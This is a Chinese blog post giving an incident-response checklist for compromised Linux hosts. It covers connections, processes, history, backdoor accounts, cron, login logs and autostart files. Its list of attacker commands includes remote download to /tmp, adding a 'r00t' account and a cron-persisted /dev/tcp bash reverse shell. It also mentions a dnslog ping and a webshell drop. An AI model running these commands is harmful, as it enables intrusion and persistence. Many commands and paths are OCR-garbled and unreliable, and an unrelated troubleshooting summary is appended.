Linux主机排查

Linux主机排查

一、网络连接

执行netstat -anp 命令查看当前网络连接。
在这里插入图片描述
a. 主机被攻击者当作跳板机对内网实施端口扫描或者口令暴力破解等攻击(常见如22,445,3389,6379等端口)。
b. 主机和外网ip已经建立连接可通过查询ip所属地,或者进一步通过威胁情报(https://x.threatbook.cn/等 。
c. 如果无法直接从网络连接情况判定是否异常,可以通过产生该网络连接对应的进程ID定位相关文件。如果为二进制文件可上传至virustotal(https://www.virustotal.com)进行检测。
在这里插入图片描述
此外,攻击者也常常直接使用linux的bash反弹shell。这种方式产生的网络连接不需要借助其他外部文件运行。可以发现产生异常连接的进程名为bash。
在这里插入图片描述

二、进程信息

执行ps -aux或者ps -ef查看是否存在异常进程。
分析进程信息,寻找异常的进程。如图发现web用户存在一个异常进程,执行的命令中包含了一条base64编码的命令,解码后发现是执行了ping -c 1 8zm8w4.dnslog.cn命令。Dnslog.cn 是攻击者在进行漏洞探测/漏洞盲打时使用的接受结果平台,可知该进程为异常进程,并且可根据进程对应用户推测攻击者可能是攻击了web应用产生的进程信息。
在这里插入图片描述
如果出现进程多,无法判断异常进程的话可以用排除法,先排除掉正常业务进程,筛选剩下的可能异常的进程,根据进程寻找对应文件,如果是对应是脚本文件,可直接查看分析脚本文件是否执行恶意操作,对于ELF文件,可借助virustotal去进行分析。

三、历史命令

执行history命令或者到用户的home目录查看.bash _history 文件排查是否存在异常的历史命令执行。
分析方法:
1.对历史命令执行分析,攻击者在获取权限后一般会执行whoami、lfconflg. cat
/letc/passwd、netstat、 ping 等命令进行信息收集,如果出现一连串的这些信息收集命令,有可能是存在异常的。进一步的可以再根据后面的是否存在其他异常操作来进一步确认, 如2下图可知,攻击者在进行一系列的信息收集后,执行wget命令从远程下载了一个文件到/tmp目录,而后执行了该文件,从历史命令可知攻击者利用该文件执行对 10.0.0.1/24扫描了445端口。
3以下总结攻击者常见执行命令供参考:
信息收集类:
whoami (查看当前用户)
ifconfig (获取网卡信息)
cat/etc/shadow (查看密码文件信息)
netstat anp/netstat ano (查看网络连接)
ps -aux/ps ef (查看进程信息)
pingx.x.x.x (查看网络是否可达)
远程下载类:
wget -O /tmp/xx ht://.x.x.xxcurl -0 /tmp/xxxx ht:// x.x.x)xx
权限维持类:
useradd r00t (添加账号
passwd r00t (添加/修改密码)
(crontab l;echo */1 … exec 9<> /devitcp/x x xwooox,exec 0<&9,exec 1>&92>&1/bin/bash -noprofile -f)lcrontab . (添加计划任务)

四、后门账号

1.排查步骤:
执行命令cat /etc/passwd查看所有账号信息。
2.分析方法
a.查看是否存在异常账号,如是否存在多个UID为0的账号,也可通过执行命令awk -F: ‘(f($3==0)print $1)’ /etc/passwd 可以查看 UID 为0的账号,通常情况下系统里面只有root账号UID为0。

b.除了需要关注UID为0的账号外,也雷要关注其他是否存在其他后门账号,可以根据账号名来大概进行判断,对于无法自行判断是否为后门账号,需要和客户进行确认。
在这里插入图片描述

五、计划任务

1.排查步骤:
a.执行命令crontab.l命令查看当前用户的计划任务。
b.执行命令cat /etclcrontab查看计划任务(/etc/crontab 计划任务只有root用户可以修改)。
C.到计划任务所在目录如arisollcron/或者lrlspoocron/crontabos查看计划任务。
2.分析方法:
a. crontab-I命令可以查看当前用户的计划任务。如果当前用户存在计划任务,则进一步需要判断该计划任务是否存在恶意行为。如下,root 用户存在计划任务公每分钟会执行/tmpltest.sh脚本。 进-步查看该脚本的内容发现为bash反弹shell脚本,可以判别为恶意的计划任务。
在这里插入图片描述
b.不能仅仅使用crontab命令查看计划任务,该命令只能查看当前用户的计划任务,并且,如果攻击者写入隐藏的计划任务,使用该命令也无法排查出来。登录root用户到计划任务所在目录,a般asiolroroga/apis/oro/cronao 目录下面可以看到所有的计划任务,对于隐藏大划任务不能使用cat直按查看计划任务内容,使用vi进入编辑模式即可查看原始内容。

六、登录日志

排查步骤:
a.执行last命令查看用户最近登录日志。
b.查看ssh登录日志,关注是否有遭受口令暴力破解尝试。
分析方法:
a.可以直接执行last命令查看用户最近登录日志,需要先关注登录日志中来自pts 登录是否有异常IP登录。对于异常IP的识别,如果是来自互联网的IP需要重点关注(如果SSH不对互联网开放的话,内网主机看到的登录基本都是来自内网IP),另外如果客户平常运维使用的是堡垒机登录的话,如果出现了来自非堡垒机IP的登录IP也需要关注。如果

无法判断登录P是否异常,需婴与各户方进行确认。因为这里的关注点是异常P,因此我们可以直接执行命令last-aI awk Tpi/piit SNF’Iuniq c对最近登录的IP进行去重并且统计次数。
在这里插入图片描述
b.分析ssh登录日志的错误情况,排查是否遭受过口令暴力破解攻击。ssh 登录日志一般位于arlog/secure或者arlog/auth,可能会存在多个历史日志文件。执行命令catsecure" |grep "Accepr查看日志并匹配登录成功关键字可获取登录成功的日志信息。这里更多需要关注的是登录失败的情况,执行命令cat secure* I grep “Fail"查看日志并匹配登录失败的日志信息,如果在某个较短时间范围内存在大量的登录失败日志,则很大可能是遭受口令爆破导致。
在这里插入图片描述
如果发现存在某些P的大量登录失败行为,下一步可以关注这些IP在日志中是否存在登录成功的信息,执行命令cat secure” lgrep "ccepr lgrep IP,如果存在成功登录的日5, 则攻击者已经暴力破解成功。
在这里插入图片描述

七、自启动项

查看Linux自启动项,确认是否存在恶意的命令执行。常见的设置自启动项方法有:a.通过编辑/etclrc local或者/etrc.drc.loca (前者为后者的软链接,实际为同一个文件)实现;
b.将脚本放到etcrprofle .d/目录下实现开机自启动:
C.通过添加脚本到etcinit.d或者etcrdinit.d目录(前者为后者的软链接)实现自启动
d.通过编辑/etcipfofle、/etc/bashrc. -/.bashrc、 -/.bash profile 等实现自启动分析方法:
查看自启动项文件是否存在恶意行为。如下图,查看-/.bashrc 发现存在命令
/mnt/test.sh。
在这里插入图片描述
查石test.sh的内容,该脚本主要实现从远程服务器下载testisp到Web应用目录,至此,可大致确认该命令存在恶意操作。
在这里插入图片描述
进一步的,可以再分析下载的test.jsp的内容,可以看到下载到web应用目录的为冰蝎webshell。
在这里插入图片描述

八、我的公众号

后续操作请持续关注哦!!!
了解更多请关注下列公众号:

😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
在这里插入图片描述
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux系统的运维排查错误思路主要包括以下步骤: 1. 状态检查:首先,需要检查服务器的硬件和网络状态,包括CPU、内存、硬盘等是否正常运行。通过查看系统日志和执行命令如top、dmesg、ifconfig等,可以获取相关信息。 2. 进程和服务检查:检查系统中运行的进程和服务是否正常。使用命令如ps、netstat、systemctl等,查看是否异常或启动失败的进程,以及监听的端口是否正常。 3. 网络连接检查:通过使用命令如ping、traceroute、telnet等,检查服务器与其他主机之间的网络连接是否正常。可以排查网络问题,如是否能够正常访问互联网、与其他主机是否能够建立连接等。 4. 文件系统检查:检查文件系统是否存在错误或损坏。使用命令如df、du、fsck等,查看文件系统的使用情况和磁盘空间是否足够,以及修复文件系统错误。 5. 日志分析:仔细分析系统和应用程序的日志,以找出可能的错误原因。特别关注错误日志和警告信息,定位问题所在并解决。 6. 配置文件检查:检查系统和应用程序的配置文件是否正确。例如,检查网络配置、服务配置、权限配置等。如果有错误配置,及时进行修复。 7. 安全检查:检查系统是否受到了恶意攻击或存在安全漏洞。通过使用命令如netstat、grep、iptables等,查看网络连接情况和日志,及时发现并处理安全问题。 8. 性能优化:分析系统性能问题,查找系统资源的瓶颈。通过使用命令如top、vmstat、sar等,了解系统的负载情况和性能指标,进行相应的优化。 9. 更新和升级:及时更新系统和应用程序的补丁和版本,修复已知的漏洞和问题,提高系统的稳定性和安全性。 总结来说,对于Linux系统的运维排查错误,需要综合利用各种命令和工具,结合分析日志和配置文件,找出问题的根源,然后采取相应的措施解决问题。同时,定期进行系统维护和更新,保持系统的稳定性和安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值